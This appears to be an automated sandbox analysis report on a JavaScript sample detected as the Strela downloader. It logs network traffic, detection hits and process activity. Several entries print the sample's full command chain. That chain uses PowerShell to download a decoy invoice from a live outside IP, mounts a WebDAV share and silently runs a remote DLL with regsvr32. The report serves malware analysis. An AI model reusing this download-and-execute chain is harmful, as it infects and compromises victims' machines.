Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:55076 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2066951980.0000027E29856000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2067365900.0000027E2B4E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2131259143.0000022550C2F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2131259143.0000022550C14000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2131259143.0000022550BD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2131259143.0000022550BD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num
Source: net.exe, 00000007.00000002.2131259143.0000022550C14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/V
Source: svchost.exe, 00000009.00000002.3360297438.0000029F4CAC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2129670739.0000029F52060000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2260, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2878822876987216987.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/63@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5640:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nwpbjos3.ug2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2878822876987216987.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1540,i,1322483727727020141,7524564797198938303,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\297197451633.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1540,i,1322483727727020141,7524564797198938303,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
